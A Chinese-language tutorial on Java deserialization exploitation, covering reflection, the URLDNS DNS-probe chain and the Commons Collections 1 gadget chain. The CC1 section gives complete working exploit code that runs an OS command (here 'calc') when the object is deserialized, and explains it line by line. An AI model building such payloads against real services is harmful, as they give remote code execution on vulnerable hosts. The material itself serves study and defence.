Java 反序列化链
概述
在 Java 中,readObject
执行反序列化,而 writeObject
执行序列化。
在 Java 中,若要将一个对象通过 writeObject
序列化保存到磁盘上,那该对象的所属类或父类,必须继承 Serializable
接口。
Java 反序列化漏洞 根本原因 是开发者重写了 Java 自带的 readObject
方法,导致反序列化时调用的是开发者自己写的 readObject
方法。
Java 反射机制
概述
Java 反射(Reflection)是 Java 非常重要的动态特性,它允许程序在运行时动态地获取类的信息并操作类或对象的属性和方法。通过使用反射不仅可以获取到任何类的成员方法、成员变量、构造方法等信息,还可以动态创建 Java 类实例、调用任意的类方法、修改任意的类成员变量值等。
反射的核心类
Java 反射主要通过以下几个核心类实现:
- Class 类:代表类的实体
- Field 类:代表类的成员变量
- Method 类:代表类的方法
- Constructor 类:代表类的构造方法
获取类名 Class
// 🌟方式1:通过类的名字获取,Class.forName(),(推荐)
Class<?> clazz3 = Class.forName("java.lang.String");
// 方式2:通过类名的 class 属性获取,类名.class
Class<?> clazz1 = String.class;
// 方式3:通过类的对象,找到类,对象.getClass()
String str = "Hello";
Class<?> clazz2 = str.getClass();
实例化对象
// 使用 Class 对象的 newInstance() 方法(已过时,Java9+)
Class<?> clazz = Class.forName("com.example.Person");
Object obj = clazz.newInstance();
// 使用 Constructor 的 newInstance() 方法(推荐)
Constructor<?> constructor = clazz.getConstructor();
Object obj = constructor.newInstance();
// 带参数的构造方法
Constructor<?> constructor = clazz.getConstructor(String.class, int.class);
Object obj = constructor.newInstance("张三", 25);
获取与调用方法
Class<?> clazz = Person.class;
Object obj = clazz.newInstance();
// 获取 public 方法(getMethod)
Method method = clazz.getMethod("setName", String.class);
// 调用方法(invoke)
method.invoke(obj, "wangwu");
// 获取所有方法(包括 private)
Method[] methods = clazz.getDeclaredMethods();
for (Method m : methods) {
m.setAccessible(true);
if (m.getName().equals("privateMethod")) {
m.invoke(obj);
}
}
URLDNS 反序列化链
URLDNS 反序列化链是一种较为简单的利用链,主要用于触发 DNS 解析以验证漏洞的存在,而不会直接执行恶意代码。其核心目标是通过反序列化过程触发 URLStreamHandler
类的 hashCode
方法,进而调用 getHostAddress
方法,发起 DNS 查询。
1.1 URLDNS 链的工作原理
URLDNS 链利用了 Java 中 HashMap
、URL
和 URLStreamHandler
类在反序列化过程中的调用关系。以下是链条的详细流程:
- 反序列化触发
HashMap
的readObject
方法 在 Java 反序列化过程中,当对象被反序列化时,HashMap
类的readObject
方法会被自动调用。readObject
方法负责重建HashMap
的内部键值对,并在此过程中调用hash
方法来计算键的哈希值。 HashMap.hash
方法调用键的URL.hashCode
方法HashMap
的hash
方法会调用键对象的hashCode
方法。如果HashMap
的键是一个URL
对象,则会调用URL
类的hashCode
方法。URL.hashCode
方法调用URLStreamHandler.hashCode
在URL
类的hashCode
方法中,会调用其关联的URLStreamHandler
对象的hashCode
方法(通过handler.hashCode(this)
)。URL
类的handler
字段默认是一个URLStreamHandler
实例,因此会触发URLStreamHandler
的hashCode
方法。URLStreamHandler.hashCode
触发 DNS 解析URLStreamHandler
的hashCode
方法在计算哈希值时,会调用getHostAddress
方法尝试解析 URL 的域名,从而触发 DNS 查询。这是 URLDNS 链的核心利用点。
// 最终构造链
HashMap.readObject -> HashMap.hash -> URL.hashCode -> URLStreamHadler.hashCode -> getHostAddress
1.2 URLDNS 链的代码实现
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
// 构造URL对象,指向需要触发的DNS查询地址
URL url = new URL("http://example.dns.test");
// 创建HashMap并将URL对象作为键
HashMap<URL, Integer> hashMap = new HashMap<>();
hashMap.put(url, 1);
// 序列化HashMap对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.close();
// 反序列化,触发DNS解析
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
代码详解
import java.io.*;
导入 Java 的序列化和反序列化相关类(如ObjectOutputStream
和ObjectInputStream
),用于生成和解析序列化数据。import java.net.URL;
导入URL
类,用于构造包含目标域名的 URL 对象。import java.util.HashMap;
导入HashMap
类,作为反序列化链的入口点。URL url = new URL("http://example.dns.test");
创建一个URL
对象,指定需要触发的 DNS 查询地址(example.dns.test
)。在反序列化时,该域名会被解析。HashMap<URL, Integer> hashMap = new HashMap<>();
创建一个HashMap
,并将URL
对象作为键存储。HashMap
在反序列化时会触发readObject
方法。hashMap.put(url, 1);
将URL
对象作为键放入HashMap
,确保在反序列化时调用URL
的hashCode
方法。ByteArrayOutputStream baos = new ByteArrayOutputStream();
创建字节数组输出流,用于存储序列化后的数据。ObjectOutputStream oos = new ObjectOutputStream(baos);
创建对象输出流,用于将HashMap
对象序列化。oos.writeObject(hashMap);
将HashMap
对象序列化为字节流。ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
创建字节数组输入流,用于读取序列化数据。ObjectInputStream ois = new ObjectInputStream(bais);
创建对象输入流,用于反序列化。ois.readObject();
执行反序列化操作,触发HashMap
的readObject
方法,进而调用URL
的hashCode
方法,最终触发 DNS 解析。
1.3 关键类和包
- java.util.HashMap
位于
java.util
包,是 Java 标准库中的键值对集合类,支持序列化和反序列化。其readObject
方法在反序列化时会调用hash
方法。 - java.net.URL
位于
java.net
包,表示统一资源定位符。URL
类的hashCode
方法会调用URLStreamHandler
的hashCode
方法。 - java.net.URLStreamHandler
位于
java.net
包,是一个抽象类,负责处理 URL 协议。其hashCode
方法会调用getHostAddress
,触发 DNS 解析。
CommonCollections1 (CC1)反序列化链
CommonCollections1 (CC1)链是 Apache Commons Collections 库中的一个经典反序列化利用链,能够通过精心构造的序列化数据实现任意代码执行。其核心目标是通过反序列化触发 Runtime.getRuntime().exec()
方法,执行指定的操作系统命令。
2.1 CC1 链的工作原理
CC1 链利用了 Commons Collections 库中的 ChainedTransformer
、LazyMap
、TransformedMap
和 AnnotationInvocationHandler
类,通过一系列的 transformer 对象构造一个调用链,最终触发 Runtime.getRuntime().exec()
。以下是链条的详细流程:
反序列化触发
AnnotationInvocationHandler
的readObject
方法 在反序列化过程中,AnnotationInvocationHandler
的readObject
方法会被自动调用。该方法会操作其内部的Map
对象(通常是TransformedMap
),触发setValue
方法。TransformedMap.setValue
调用checkSetValue
TransformedMap
的setValue
方法会调用checkSetValue
,后者会使用valueTransformer
(通常是ChainedTransformer
)对值进行转换,触发ChainedTransformer.transform
方法。ChainedTransformer.transform
执行转换链ChainedTransformer
的transform
方法会按顺序调用一组Transformer
对象(例如ConstantTransformer
和InvokerTransformer
),逐步构造Runtime.getRuntime().exec()
的调用。构造
Runtime.getRuntime().exec
调用 通过以下步骤构造完整的调用链:- 使用
ConstantTransformer
返回Runtime.class
。 - 使用
InvokerTransformer
调用Class.getMethod("getRuntime",null)
,获取getRuntime
方法。 - 使用
InvokerTransformer
调用Method.invoke(null,null)
,执行Runtime.getRuntime()
。 - 使用
InvokerTransformer
调用Runtime.exec("calc")
,执行命令(例如打开计算器)。
- 使用
// 完整调用命令
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc");
2.2 CC1 链的代码实现
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
// 返回Runtime.class
new ConstantTransformer(Runtime.class),
// 调用Class.getMethod("getRuntime", null)
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 调用Method.invoke(null, null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 调用Runtime.exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 创建ChainedTransformer,串联所有Transformer
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 创建初始Map
Map innerMap = new HashMap();
innerMap.put("value", "value");
// 使用TransformedMap包装,设置valueTransformer为ChainedTransformer
Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
// 获取AnnotationInvocationHandler类
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建AnnotationInvocationHandler实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();
// 反序列化,触发命令执行
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
代码详解
import java.io.*;
导入序列化和反序列化相关类,用于生成和解析序列化数据。import java.lang.annotation.Retention;
导入Retention
类,作为AnnotationInvocationHandler
的构造参数。import java.lang.reflect.*;
导入反射相关类,用于动态获取AnnotationInvocationHandler
的构造函数。import org.apache.commons.collections.*;
导入 Commons Collections 库中的Transformer
、ChainedTransformer
、ConstantTransformer
、InvokerTransformer
和TransformedMap
类,用于构造调用链。Transformer[] transformers = new Transformer[] {...};
定义一个Transformer
数组,包含以下步骤:ConstantTransformer(Runtime.class)
:返回Runtime
类对象。InvokerTransformer("getMethod", ...)
:调用Class.getMethod("getRuntime", null)
,获取getRuntime
方法。InvokerTransformer("invoke", ...)
:调用Method.invoke(null, null)
,执行Runtime.getRuntime()
。InvokerTransformer("exec", ...)
:调用Runtime.exec("calc")
,执行命令calc
(打开计算器)。
Transformer chainedTransformer = new ChainedTransformer(transformers);
创建ChainedTransformer
对象,将所有Transformer
串联起来,按顺序执行。Map innerMap = new HashMap();
创建一个HashMap
,作为TransformedMap
的底层存储。innerMap.put("value", "value");
添加一个键值对,确保TransformedMap
在反序列化时触发setValue
操作。Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
使用TransformedMap.decorate
包装HashMap
,设置valueTransformer
为ChainedTransformer
,确保值转换时触发调用链。Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
通过反射获取AnnotationInvocationHandler
类。Constructor<?> constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
获取AnnotationInvocationHandler
的构造函数,接受Class
和Map
参数。constructor.setAccessible(true);
设置构造函数可访问,绕过访问限制。InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);
创建AnnotationInvocationHandler
实例,传入Retention
类和TransformedMap
对象。序列化和反序列化部分 与 URLDNS 链类似,通过
ObjectOutputStream
序列化handler
对象,通过ObjectInputStream
反序列化,触发AnnotationInvocationHandler
的readObject
方法,进而执行整个调用链。
2.3 关键类和包
- org.apache.commons.collections.Transformer
Commons Collections 库中的接口,定义了
transform
方法,用于对象转换。 - org.apache.commons.collections.functors.ChainedTransformer
实现
Transformer
接口,串联多个Transformer
对象,依次调用其transform
方法。 - org.apache.commons.collections.functors.ConstantTransformer
返回固定对象的
Transformer
实现,用于返回Runtime.class
。 - org.apache.commons.collections.functors.InvokerTransformer
通过反射调用指定方法,用于构造
getMethod
、invoke
和exec
调用。 - org.apache.commons.collections.map.TransformedMap
包装
Map
,在键值操作时应用Transformer
进行转换。 - sun.reflect.annotation.AnnotationInvocationHandler
位于 JDK 的
sun.reflect.annotation
包,处理注解的动态代理类,其readObject
方法会触发TransformedMap
的操作。 - java.lang.Runtime
位于
java.lang
包,提供与运行时环境的交互方法,如exec
。